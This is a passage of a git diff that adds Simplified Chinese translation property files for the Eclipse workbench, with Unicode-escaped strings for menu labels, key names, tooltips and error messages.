+ActivitiesPreferencePage_lockedMessage={0}\uff08\u5df2\u9501\u5b9a\uff09 +ActivitiesPreferencePage_captionMessage=\u6d3b\u52a8\u5141\u8bb8\u60a8\u542f\u7528\u6216\u7981\u7528\u5404\u79cd\u4ea7\u54c1\u7ec4\u4ef6\u3002\u6839\u636e\u4e00\u7ec4\u9884\u5b9a\u4e49\u7684\u7c7b\u522b\u5bf9\u8fd9\u4e9b\u6d3b\u52a8\u8fdb\u884c\u4e86\u5206\u7ec4\u3002 +ActivitiesPreferencePage_requirements=\u9700\u6c42(&Q)\uff1a +ManagerTask=\u6b63\u5728\u66f4\u65b0\u7a97\u53e3 +ManagerWindowSubTask=\u6b63\u5728\u66f4\u65b0\u7a97\u53e3\u6dfb\u52a0\u9879 +ManagerViewsSubTask=\u6b63\u5728\u66f4\u65b0\u89c6\u56fe\u6dfb\u52a0\u9879 +Perspective_showAll=\u5168\u90e8\u663e\u793a(&S) +activityPromptButton=\u5f53\u542f\u7528\u6d3b\u52a8\u65f6\u8fdb\u884c\u63d0\u793a(&P) +activityPromptToolTip=\u5f53\u7b2c\u4e00\u6b21\u4f7f\u7528\u9700\u8981\u542f\u7528\u6d3b\u52a8\u7684\u529f\u80fd\u90e8\u4ef6\u65f6\u8fdb\u884c\u63d0\u793a \ No newline at end of file diff --git a/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/intro/intro_zh.properties b/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/intro/intro_zh.properties new file mode 100644 index 0000000..3696ed1 --- /dev/null +++ b/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/intro/intro_zh.properties @@ -0,0 +1,8 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +Intro_could_not_create_part=\u672a\u80fd\u521b\u5efa\u7b80\u4ecb\u90e8\u4ef6\u3002 +Intro_could_not_create_proxy=\u672a\u80fd\u521b\u5efa\u7b80\u4ecb\u89c6\u56fe\u4ee3\u7406\u3002 +Intro_could_not_create_descriptor=\u65e0\u6cd5\u521b\u5efa\u7b80\u4ecb\u63cf\u8ff0\u7b26\u3002 +Intro_action_text=\u6b22\u8fce(&W) +Intro_default_title=\u6b22\u8fce +Intro_missing_product_title=\u672a\u627e\u5230\u6b22\u8fce\u5185\u5bb9 +Intro_missing_product_message=\u6ca1\u6709\u6b22\u8fce\u5185\u5bb9\u9002\u5408\u4e8e\u663e\u793a\u5728\u6b64\u5e94\u7528\u7a0b\u5e8f\u4e2d\u3002 \ No newline at end of file diff --git a/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/keys/AbstractKeyFormatter_zh.properties b/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/keys/AbstractKeyFormatter_zh.properties new file mode 100644 index 0000000..ba219c0 --- /dev/null +++ b/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/keys/AbstractKeyFormatter_zh.properties @@ -0,0 +1,36 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +COMMAND=Command +ARROW_DOWN=\u5411\u4e0b +ARROW_LEFT=\u5de6\u7bad\u5934 +ARROW_RIGHT=\u53f3\u7bad\u5934 +ARROW_UP=\u5411\u4e0a +BREAK=Break +END=End +NUMPAD_0=Numpad_0 +NUMPAD_1=Numpad_1 +NUMPAD_2=Numpad_2 +NUMPAD_3=Numpad_3 +NUMPAD_4=Numpad_4 +NUMPAD_5=Numpad_5 +NUMPAD_6=Numpad_6 +NUMPAD_7=Numpad_7 +NUMPAD_8=Numpad_8 +NUMPAD_9=Numpad_9 +NUMPAD_ADD=Numpad_Add +NUMPAD_DECIMAL=Numpad_Decimal +NUMPAD_DIVIDE=Numpad_Divide +NUMPAD_ENTER=Numpad_Enter +NUMPAD_EQUAL=Numpad_Equal +NUMPAD_MULTIPLY=Numpad_Multiply +NUMPAD_SUBTRACT=Numpad_Subtract +PAUSE=\u6682\u505c +PRINT_SCREEN=PrintScreen +SCROLL_LOCK=ScrollLock +BS=Backspace +DEL=\u5220\u9664 +FF=FormFeed +LF=LineFeed +NUL=Null +SPACE=Space +TAB=Tab +VT=VerticalTab \ No newline at end of file diff --git a/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/keys/EmacsKeyFormatter_zh.properties b/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/keys/EmacsKeyFormatter_zh.properties new file mode 100644 index 0000000..1959144 --- /dev/null +++ b/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/keys/EmacsKeyFormatter_zh.properties @@ -0,0 +1 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ \ No newline at end of file diff --git a/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/keys/KeyAssistDialog_zh.properties b/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/keys/KeyAssistDialog_zh.properties new file mode 100644 index 0000000..fb4c5b7 --- /dev/null +++ b/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/keys/KeyAssistDialog_zh.properties @@ -0,0 +1,3 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +NoMatches_Message=\u627e\u4e0d\u5230\u5339\u914d\u9879 +openPreferencePage=\u6309\u201c{0}\u201d\u4ee5\u6253\u5f00\u9996\u9009\u9879\u9875\u3002 \ No newline at end of file diff --git a/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/keys/KeysPreferencePage_zh.properties b/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/keys/KeysPreferencePage_zh.properties new file mode 100644 index 0000000..03b0198 --- /dev/null +++ b/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/keys/KeysPreferencePage_zh.properties @@ -0,0 +1,50 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +advancedTab.Text=\u9ad8\u7ea7(&V) +modifyTab.Text=\u4fee\u6539(&O) +viewTab.Text=\u67e5\u770b(&I) +buttonAdd=\u6dfb\u52a0 +buttonAddKey.ToolTipText=\u63d2\u5165\u7279\u6b8a\u952e +buttonEdit=\u7f16\u8f91(&T) +buttonExport=\u5bfc\u51fa(&X)... +buttonRemove=\u79fb\u9664(&R) +buttonRestore=\u590d\u539f(&E) +checkBoxMultiKeyAssist.Text=\u4f7f\u7528\u591a\u6b21\u51fb\u952e\u952e\u76d8\u5feb\u6377\u65b9\u5f0f\u65f6\u5e2e\u52a9\u6211(&H) +checkBoxMultiKeyAssist.ToolTipText=\u5982\u679c\u5728\u8f93\u5165\u591a\u6b21\u51fb\u952e\u952e\u76d8\u5feb\u6377\u65b9\u5f0f\u65f6\u505c\u987f\uff0c\u5219\u663e\u793a\u4e00\u4e9b\u5e2e\u52a9 +commandConflict=[\u51b2\u7a81] +commandNothing=[\u4e0d\u6267\u884c\u4efb\u4f55\u64cd\u4f5c] +commandUndefined=[\u672a\u5b9a\u4e49] +csvFilterName=CSV \u6587\u4ef6\uff08*.csv\uff09 +exportErrorMessage=\u672a\u80fd\u5199\u5165\u6587\u4ef6\uff1a +exportErrorTitle=\u5bfc\u51fa\u5931\u8d25 +extends=\uff08\u6269\u5c55\u201c{0}\u201d\uff09 +extendsGeneral=\uff08\u4e00\u822c\u6269\u5c55\uff09 +extendsStandard=\uff08\u6269\u5c55\u6807\u51c6\uff09 +general=\u4e00\u822c +groupCommand=Command +groupKeySequence=\u952e\u5e8f\u5217 +labelAssignmentsForCommand=\u8d4b\u503c(&S)\uff1a +labelAssignmentsForKeySequence=\u8d4b\u503c(&G)\uff1a +labelCategory=\u7c7b\u522b(&T)\uff1a +labelCommand=\u540d\u79f0(&N)\uff1a +labelContext=\u4f55\u65f6(&W)\uff1a +labelDescription=\u63cf\u8ff0\uff1a +labelScheme=\u65b9\u6848(&C)\uff1a +labelKeySequence=\u540d\u79f0(&M)\uff1a +now=\uff08\u73b0\u4e3a\uff1a{0}\uff09 +other=\u5176\u4ed6 +restoreDefaultsMessageBoxMessage=\u8fd9\u5c06\u4f7f\u6240\u6709\u952e\u590d\u539f\u4e3a\u7f3a\u7701\u8bbe\u7f6e\u3002\r\n\u786e\u5b9a\u8981\u8fd9\u6837\u505a\u5417\uff1f +restoreDefaultsMessageBoxText=\u590d\u539f\u952e\u76d8\u7f3a\u7701\u503c +standard=\u6807\u51c6 +tableColumnCategory=\u7c7b\u522b +tableColumnCategorySorted=>\u7c7b\u522b< +tableColumnCommand=Command +tableColumnCommandSorted=>\u547d\u4ee4< +tableColumnContext=\u4f55\u65f6 +tableColumnContextSorted=>\u4f55\u65f6< +tableColumnKeySequence=\u952e\u5e8f\u5217 +tableColumnKeySequenceSorted=>\u952e\u5e8f\u5217< +textMultiKeyAssistTime.ErrorMessage=\u5ef6\u8fdf\u65f6\u95f4\u5fc5\u987b\u662f\u4e00\u4e2a\u5927\u4e8e\u96f6\u7684\u6574\u6570\u503c +textMultiKeyAssistTime.Text=\u5ef6\u8fdf\uff08\u6beb\u79d2\uff09(&Y)\uff1a +was=\uff08\u539f\u4e3a\uff1a{0}\uff09 +PreferenceStoreError.Title=\u9519\u8bef +PreferenceStoreError.Message=\u672a\u80fd\u8bbf\u95ee\u9996\u9009\u9879\u5e93 \ No newline at end of file diff --git a/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/keys/NativeKeyFormatter_zh.properties b/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/keys/NativeKeyFormatter_zh.properties new file mode 100644 index 0000000..1959144 --- /dev/null +++ b/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/keys/NativeKeyFormatter_zh.properties @@ -0,0 +1 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ \ No newline at end of file diff --git a/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/keys/NewKeysPreferencePage_zh.properties b/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/keys/NewKeysPreferencePage_zh.properties new file mode 100644 index 0000000..6370eea --- /dev/null +++ b/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/keys/NewKeysPreferencePage_zh.properties @@ -0,0 +1,35 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +AddBindingButton_Text=\u590d\u5236\u547d\u4ee4(&C) +AddKeyButton_ToolTipText=\u590d\u5236\u7ed1\u5b9a\u4e2d\u7684\u547d\u4ee4 +FiltersButton_Text=\u8fc7\u6ee4(&I)... +ExportButton_Text=\u5bfc\u51fa(&X)... +BindingLabel_Text=&\u7ed1\u5b9a\uff1a +CommandNameColumn_Text=Command +CommandNameLabel_Text=\u540d\u79f0(&N)\uff1a +CommandDescriptionLabel_Text=\u63cf\u8ff0(&E)\uff1a +CategoryColumn_Text=\u7c7b\u522b +UserColumn_Text=\u7528\u6237 +DeleteSchemeButton_Text=\u5220\u9664(&E) +ConflictsLabel_Text=\u51b2\u7a81(&F)\uff1a +RemoveBindingButton_Text=\u89e3\u9664\u7ed1\u5b9a\u547d\u4ee4(&U) +RestoreBindingButton_Text=\u590d\u539f\u547d\u4ee4(&T) +SchemeLabel_Text=&\u65b9\u6848\uff1a +TriggerSequenceColumn_Text=\u7ed1\u5b9a +WhenLabel_Text=\u4f55\u65f6(&W)\uff1a +WhenColumn_Text=\u4f55\u65f6 +Asterisk_Text=* \u5728\u7ed1\u5b9a\u5217\u4e2d\u8868\u793a\u952e\u51b2\u7a81 +GroupingCombo_Label=\u5206\u7ec4\u4f9d\u636e\uff1a +GroupingCombo_Category_Text=\u7c7b\u522b +GroupingCombo_None_Text=\u65e0 +GroupingCombo_When_Text=\u4f55\u65f6 +RestoreDefaultsMessageBoxMessage=\u8fd9\u5c06\u4f7f\u6240\u6709\u952e\u590d\u539f\u4e3a\u7f3a\u7701\u8bbe\u7f6e\u5e76\u9664\u53bb\u7528\u6237\u66f4\u6539\u3002\r\n\u786e\u5b9a\u8981\u8fd9\u6837\u505a\u5417\uff1f +RestoreDefaultsMessageBoxText=\u590d\u539f\u952e\u76d8\u7f3a\u7701\u503c +PreferenceStoreError_Title=\u9519\u8bef +PreferenceStoreError_Message=\u672a\u80fd\u8bbf\u95ee\u9996\u9009\u9879\u5e93 +Undefined_Command=\u672a\u5b9a\u4e49\u7684\u547d\u4ee4 +Unavailable_Category=\u4e0d\u53ef\u7528\u7684\u7c7b\u522b +Undefined_Context=\u672a\u5b9a\u4e49\u7684\u4e0a\u4e0b\u6587 +ActionSetFilterCheckBox_Text=\u8fc7\u6ee4\u64cd\u4f5c\u96c6\u4e0a\u4e0b\u6587(&A) +InternalFilterCheckBox_Text=\u8fc7\u6ee4\u5185\u90e8\u4e0a\u4e0b\u6587(&I) +UncategorizedFilterCheckBox_Text=\u8fc7\u6ee4\u672a\u5206\u7c7b\u7684\u547d\u4ee4(&U) +KeysPreferenceFilterDialog_Title=\u4f55\u65f6\u8fdb\u884c\u4e0a\u4e0b\u6587\u8fc7\u6ee4 \ No newline at end of file diff --git a/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/keys/WindowsKeyFormatter_zh.properties b/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/keys/WindowsKeyFormatter_zh.properties new file mode 100644 index 0000000..1959144 --- /dev/null +++ b/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/keys/WindowsKeyFormatter_zh.properties @@ -0,0 +1 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ \ No newline at end of file diff --git a/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/keys/WorkbenchKeyboard_zh.properties b/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/keys/WorkbenchKeyboard_zh.properties new file mode 100644 index 0000000..24c8cab --- /dev/null +++ b/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/keys/WorkbenchKeyboard_zh.properties @@ -0,0 +1,4 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +ExecutionError.Title=\u6267\u884c\u547d\u4ee4\u65f6\u51fa\u9519 +ExecutionError.Message=\u7528\u4e8e\u5904\u7406\u60a8\u6309\u7684\u952e\u7684\u547d\u4ee4\u5931\u8d25\u3002\u8bf7\u67e5\u770b\u65e5\u5fd7\u4ee5\u4e86\u89e3\u66f4\u591a\u4fe1\u606f\u3002 +ExecutionError.MessageCommandName=\u201c{0}\u201d\u672a\u6b63\u5e38\u5b8c\u6210\u3002\u8bf7\u67e5\u770b\u65e5\u5fd7\u4ee5\u4e86\u89e3\u66f4\u591a\u4fe1\u606f\u3002 \ No newline at end of file diff --git a/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/menus/messages_zh.properties b/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/menus/messages_zh.properties new file mode 100644 index 0000000..1959144 --- /dev/null +++ b/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/menus/messages_zh.properties @@ -0,0 +1 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ \ No newline at end of file diff --git a/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/messages_zh.properties b/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/messages_zh.properties new file mode 100644 index 0000000..4700218 --- /dev/null +++ b/i18n/org.eclipse.ui.workbench.nl_zh/src/org/eclipse/ui/internal/messages_zh.properties @@ -0,0 +1,780 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +PlatformUI_NoWorkbench=\u5c1a\u672a\u521b\u5efa\u5de5\u4f5c\u53f0\u3002 +Workbench_CreatingWorkbenchTwice=\u5de5\u4f5c\u53f0\u5df2\u7ecf\u5b58\u5728\uff0c\u4e0d\u80fd\u518d\u6b21\u521b\u5efa\u5b83\u3002 +NewWizardAction_text=\u5176\u4ed6(&O)... +NewWizardAction_toolTip=\u65b0\u5efa +CloseAllAction_text=\u5168\u90e8\u5173\u95ed(&L) +CloseAllAction_toolTip=\u5168\u90e8\u5173\u95ed +CloseOthersAction_text=\u5173\u95ed\u5176\u4ed6(&T) +CloseOthersAction_toolTip=\u5173\u95ed\u5176\u4ed6 +CloseAllSavedAction_text=\u5173\u95ed\u6240\u6709\u5df2\u4fdd\u5b58\u7684(&O) +CloseAllSavedAction_toolTip=\u5173\u95ed\u6240\u6709\u5df2\u4fdd\u5b58\u7684 +CloseEditorAction_text=\u5173\u95ed(&C) +CloseEditorAction_toolTip=\u5173\u95ed +NewEditorAction_text=\u65b0\u5efa\u7f16\u8f91\u5668(&E) +NewEditorAction_tooltip=\u65b0\u5efa\u7f16\u8f91\u5668 +SaveAction_text=\u4fdd\u5b58(&S) +SaveAction_toolTip=\u4fdd\u5b58 +SaveAs_text=\u53e6\u5b58\u4e3a(&A)... +SaveAs_toolTip=\u53e6\u5b58\u4e3a +SaveAll_text=\u5168\u90e8\u4fdd\u5b58(&E) +SaveAll_toolTip=\u5168\u90e8\u4fdd\u5b58 +Workbench_revert=\u8fd8\u539f(&T) +Workbench_revertToolTip=\u8fd8\u539f +Workbench_move=\u79fb\u52a8(&V)... +Workbench_moveToolTip=\u79fb\u52a8 +Workbench_rename=\u91cd\u547d\u540d(&M)... +Workbench_renameToolTip=\u91cd\u547d\u540d +Workbench_refresh=\u5237\u65b0(&F) +Workbench_refreshToolTip=\u5237\u65b0 +Workbench_properties=\u5c5e\u6027(&R) +Workbench_propertiesToolTip=\u5c5e\u6027 +Workbench_print=\u6253\u5370(&P)... +Workbench_printToolTip=\u6253\u5370 +ExportResourcesAction_text=\u5bfc\u51fa(&X)... +ExportResourcesAction_fileMenuText=\u5bfc\u51fa(&O)... +ExportResourcesAction_toolTip=\u5bfc\u51fa +ImportResourcesAction_text=\u5bfc\u5165(&I)... +ImportResourcesAction_toolTip=\u5bfc\u5165 +OpenBrowserHandler_NoInfoDialogMessage=\u6ca1\u6709\u53ef\u7528\u7684\u9644\u52a0\u4fe1\u606f\u3002 +OpenBrowserHandler_NoInfoDialogTitle=\u6ca1\u6709\u4efb\u4f55\u8fdb\u4e00\u6b65\u7684\u4fe1\u606f +OpenRecent_errorTitle=\u6253\u5f00\u7f16\u8f91\u5668\u65f6\u53d1\u751f\u4e86\u95ee\u9898 +OpenRecent_unableToOpen=\u6253\u4e0d\u5f00\u201c{0}\u201d\u3002 +Exit_text=\u9000\u51fa(&X) +Exit_toolTip=\u9000\u51fa\u5de5\u4f5c\u53f0 +Workbench_undo=\u64a4\u9500(&U) +Workbench_undoToolTip=\u64a4\u9500 +Workbench_redo=\u91cd\u505a(&R) +Workbench_redoToolTip=\u91cd\u505a +Workbench_cut=\u526a\u5207(&T) +Workbench_cutToolTip=\u526a\u5207 +Workbench_copy=\u590d\u5236(&C) +Workbench_copyToolTip=\u590d\u5236 +Workbench_paste=\u7c98\u8d34(&P) +Workbench_pasteToolTip=\u7c98\u8d34 +Workbench_delete=\u5220\u9664(&D) +Workbench_deleteToolTip=\u5220\u9664 +Workbench_selectAll=\u5168\u90e8\u9009\u4e2d(&A) +Workbench_selectAllToolTip=\u5168\u90e8\u9009\u4e2d +Workbench_findReplace=\u67e5\u627e\uff0f\u66ff\u6362(&F)... +Workbench_findReplaceToolTip=\u67e5\u627e\uff0f\u66ff\u6362 +Workbench_goInto=\u8fdb\u5165(&I) +Workbench_goIntoToolTip=\u8f6c\u81f3 +Workbench_back=\u540e\u9000(&B) +Workbench_backToolTip=\u8fd4\u56de +Workbench_forward=\u524d\u8fdb(&F) +Workbench_forwardToolTip=\u524d\u8fdb +Workbench_up=\u5411\u4e0a\u4e00\u7ea7(&U) +Workbench_upToolTip=\u5411\u4e0a +Workbench_next=\u4e0b\u4e00\u4e2a(&X) +Workbench_nextToolTip=\u4e0b\u4e00\u6b65 +Workbench_previous=\u4e0a\u4e00\u4e2a(&V) +Workbench_previousToolTip=\u4e0a\u4e00\u6b65 +NavigationHistoryAction_forward_text=\u524d\u8fdb(&F) +NavigationHistoryAction_forward_toolTip=\u524d\u8fdb +NavigationHistoryAction_backward_text=\u540e\u9000(&B) +NavigationHistoryAction_backward_toolTip=\u8fd4\u56de +NavigationHistoryAction_forward_toolTipName=\u524d\u8fdb\u81f3 {0} +NavigationHistoryAction_backward_toolTipName=\u8fd4\u56de\u5230 {0} +NavigationHistoryAction_locations={0}\uff08{1} \u4e2a\u4f4d\u7f6e\uff09 +Workbench_showInNoTargets=<\u6ca1\u6709\u9002\u7528\u7684\u89c6\u56fe> +Workbench_showInNoPerspectives=<\u6ca1\u6709\u9002\u7528\u7684\u900f\u89c6\u56fe> +Workbench_noApplicableItems=<\u6ca1\u6709\u9002\u7528\u7684\u9879> +OpenPreferences_text=\u9996\u9009\u9879(&P) +OpenPreferences_toolTip=\u9996\u9009\u9879 +PerspectiveMenu_otherItem=\u5176\u4ed6(&O)... +SelectPerspective_shellTitle=\u6253\u5f00\u900f\u89c6\u56fe +Workbench_showPerspectiveError=\u6253\u5f00\u900f\u89c6\u56fe\u201c{0}\u201d\u65f6\u51fa\u73b0\u95ee\u9898 +ChangeToPerspectiveMenu_errorTitle=\u66f4\u6539\u900f\u89c6\u56fe\u65f6\u51fa\u73b0\u95ee\u9898 +ShowView_title=\u5176\u4ed6(&O)... +ShowView_shellTitle=\u663e\u793a\u89c6\u56fe +ShowView_errorTitle=\u663e\u793a\u89c6\u56fe\u65f6\u51fa\u73b0\u95ee\u9898 +ShowView_selectViewHelp=\u4f7f\u7528 F2 \u6765\u663e\u793a\u5bf9\u6240\u9009\u89c6\u56fe\u7684\u63cf\u8ff0\u3002 +ShowView_noDesc=\u672a\u63d0\u4f9b\u63cf\u8ff0\u3002 +ToggleEditor_hideEditors=\u9690\u85cf\u7f16\u8f91\u5668(&E) +ToggleEditor_showEditors=\u663e\u793a\u7f16\u8f91\u5668(&E) +ToggleEditor_toolTip=\u9690\u85cf\uff0f\u663e\u793a\u7f16\u8f91\u5668 +LockToolBarAction_text=\u9501\u5b9a\u5de5\u5177\u680f(&T) +LockToolBarAction_toolTip=\u9501\u5b9a\u5de5\u5177\u680f +EditActionSetsAction_text=\u5b9a\u5236\u900f\u89c6\u56fe(&Z)... +EditActionSetsAction_toolTip=\u5b9a\u5236\u900f\u89c6\u56fe +ActionSetSelection_customize=\u5b9a\u5236\u900f\u89c6\u56fe \uff0d {0} +ActionSetDialogInput_viewCategory=\u663e\u793a\u89c6\u56fe +ActionSetDialogInput_perspectiveCategory=\u6253\u5f00\u900f\u89c6\u56fe +ActionSetDialogInput_wizardCategory=\u65b0\u5efa +Shortcuts_shortcutTab=\u5feb\u6377\u65b9\u5f0f +Shortcuts_selectShortcutsLabel=\u9009\u62e9\u60a8\u60f3\u8981\u770b\u5230\u4f5c\u4e3a\u7ea7\u8054\u9879\u6dfb\u52a0\u81f3\u4e0b\u5217\u5b50\u83dc\u5355\u7684\u5feb\u6377\u65b9\u5f0f\u3002\u60a8\u6240\u4f5c\u7684\u9009\u62e9\u5c06\u53ea\u5f71\u54cd\u5f53\u524d\u900f\u89c6\u56fe\uff08{0}\uff09\u3002 +Shortcuts_availableMenus=\u5b50\u83dc\u5355(&S)\uff1a +Shortcuts_availableCategories=\u5feb\u6377\u65b9\u5f0f\u7c7b\u522b(&C)\uff1a +Shortcuts_allShortcuts=\u5feb\u6377\u65b9\u5f0f(&H)\uff1a +ActionSetSelection_actionSetsTab=\u547d\u4ee4 +ActionSetSelection_selectActionSetsLabel=\u9009\u62e9\u60f3\u8981\u770b\u5230\u6dfb\u52a0\u81f3\u5f53\u524d\u900f\u89c6\u56fe\uff08{0}\uff09\u7684\u547d\u4ee4\u7ec4\u3002\u8be6\u7ec6\u4fe1\u606f\u5b57\u6bb5\u6307\u793a\u6240\u9009\u547d\u4ee4\u7ec4\u5df2\u5c06\u54ea\u4e9b\u83dc\u5355\u9879\u548c\uff0f\u6216\u5de5\u5177\u680f\u9879\u6dfb\u52a0\u81f3\u900f\u89c6\u56fe\u3002 +ActionSetSelection_availableActionSets=\u53ef\u7528\u7684\u547d\u4ee4\u7ec4(&C)\uff1a +ActionSetSelection_menubarActions=\u83dc\u5355\u680f\u8be6\u7ec6\u4fe1\u606f(&M)\uff1a +ActionSetSelection_toolbarActions=\u5de5\u5177\u680f\u8be6\u7ec6\u4fe1\u606f(&T)\uff1a +ActionSetSelection_descriptionColumnHeader=\u63cf\u8ff0 +ActionSetSelection_menuColumnHeader=\u5feb\u6377\u65b9\u5f0f +HideMenuItems_menuStructure=\u76ee\u5f55\u7ed3\u6784(&M) +SavePerspective_text=\u5c06\u900f\u89c6\u56fe\u53e6\u5b58\u4e3a(&A)... +SavePerspective_toolTip=\u5c06\u900f\u89c6\u56fe\u53e6\u5b58\u4e3a +SavePerspective_shellTitle=\u5c06\u900f\u89c6\u56fe\u53e6\u5b58\u4e3a... +SavePerspectiveDialog_description=\u8f93\u5165\u6216\u9009\u62e9\u8981\u5c06\u5f53\u524d\u900f\u89c6\u56fe\n\u53e6\u5b58\u4e3a\u7684\u540d\u79f0\u3002 +SavePerspective_name=\u540d\u79f0(&N)\uff1a +SavePerspective_existing=\u73b0\u6709\u900f\u89c6\u56fe(&E)\uff1a +SavePerspective_overwriteTitle=\u8986\u76d6\u900f\u89c6\u56fe +SavePerspective_overwriteQuestion=\u540d\u79f0\u4e3a\u201c{0}\u201d\u7684\u900f\u89c6\u56fe\u5df2\u5b58\u5728\u3002\u8981\u8986\u76d6\u5417\uff1f +SavePerspective_singletonQuestion=\u5f53\u524d\u900f\u89c6\u56fe\u53ea\u80fd\u6253\u5f00\u4e00\u6b21\uff0c\u4e14\u4e0d\u80fd\u4f7f\u7528\u65b0\u540d\u79f0\u6765\u4fdd\u5b58\u5b83\u3002\u8981\u8986\u76d6\u5417\uff1f +SavePerspective_errorTitle=\u4e0d\u80fd\u4fdd\u5b58\u900f\u89c6\u56fe +SavePerspective_errorMessage=\u900f\u89c6\u56fe\u63cf\u8ff0\u7b26\u65e0\u6548 +ResetPerspective_text=&\u590d\u4f4d\u900f\u89c6\u56fe... +ResetPerspective_toolTip=\u590d\u4f4d\u900f\u89c6\u56fe +ResetPerspective_message=\u786e\u5b9a\u60f3\u8981\u6062\u590d\u4e3a\u9ed8\u8ba4\u5e03\u5c40\u5417\uff1f +ResetPerspective_title=\u6062\u590d\u9ed8\u8ba4\u5e03\u5c40 +RevertPerspective_title=\u590d\u4f4d\u900f\u89c6\u56fe +ClosePerspectiveAction_text=\u5173\u95ed\u900f\u89c6\u56fe(&C) +ClosePerspectiveAction_toolTip=\u5173\u95ed\u900f\u89c6\u56fe +CloseAllPerspectivesAction_text=\u5173\u95ed\u6240\u6709\u900f\u89c6\u56fe(&L) +CloseAllPerspectivesAction_toolTip=\u5173\u95ed\u6240\u6709\u900f\u89c6\u56fe +OpenInNewWindowAction_text=\u5728\u65b0\u7a97\u53e3\u4e2d\u6253\u5f00(&N) +OpenInNewWindowAction_toolTip=\u5728\u65b0\u7a97\u53e3\u4e2d\u6253\u5f00 +OpenInNewWindowAction_errorTitle=\u6253\u5f00\u65b0\u7a97\u53e3\u65f6\u51fa\u73b0\u95ee\u9898 +CycleEditorAction_next_text=\u4e0b\u4e00\u4e2a\u7f16\u8f91\u5668(&E) +CycleEditorAction_next_toolTip=\u4e0b\u4e00\u4e2a\u7f16\u8f91\u5668 +CycleEditorAction_prev_text=\u4e0a\u4e00\u4e2a\u7f16\u8f91\u5668(&R) +CycleEditorAction_prev_toolTip=\u4e0a\u4e00\u4e2a\u7f16\u8f91\u5668 +CycleEditorAction_header=\u7f16\u8f91\u5668 +CyclePartAction_next_text=\u4e0b\u4e00\u4e2a\u89c6\u56fe(&V) +CyclePartAction_next_toolTip=\u4e0b\u4e00\u4e2a\u89c6\u56fe +CyclePartAction_prev_text=\u4e0a\u4e00\u4e2a\u89c6\u56fe(&O) +CyclePartAction_prev_toolTip=\u4e0a\u4e00\u4e2a\u89c6\u56fe +CyclePartAction_header=\u89c6\u56fe +CyclePartAction_editor=\u7f16\u8f91\u5668 +CyclePerspectiveAction_next_text=\u4e0b\u4e00\u4e2a\u900f\u89c6\u56fe(&P) +CyclePerspectiveAction_next_toolTip=\u4e0b\u4e00\u4e2a\u900f\u89c6\u56fe +CyclePerspectiveAction_prev_text=\u4e0a\u4e00\u4e2a\u900f\u89c6\u56fe(&U) +CyclePerspectiveAction_prev_toolTip=\u4e0a\u4e00\u4e2a\u900f\u89c6\u56fe +CyclePerspectiveAction_header=\u900f\u89c6\u56fe +ActivateEditorAction_text=\u6fc0\u6d3b\u7f16\u8f91\u5668(&A) +ActivateEditorAction_toolTip=\u6fc0\u6d3b\u7f16\u8f91\u5668 +MaximizePartAction_text=\u5c06\u6d3b\u52a8\u89c6\u56fe\u6216\u7f16\u8f91\u5668\u6700\u5927\u5316(&X) +MaximizePartAction_toolTip=\u5207\u6362\u6d3b\u52a8\u89c6\u56fe\u6216\u7f16\u8f91\u5668\u7684\u6700\u5927\u5316\uff0f\u590d\u539f\u72b6\u6001 +MinimizePartAction_text=\u5c06\u6d3b\u52a8\u89c6\u56fe\u6216\u7f16\u8f91\u5668\u6700\u5c0f\u5316(&N) +MinimizePartAction_toolTip=\u5c06\u6d3b\u52a8\u89c6\u56fe\u6216\u7f16\u8f91\u5668\u6700\u5927\u5316 +AboutAction_text=\u5173\u4e8e {0}(&A) +AboutAction_toolTip=\u5173\u4e8e {0} +HelpContentsAction_text=\u5e2e\u52a9\u5185\u5bb9(&H) 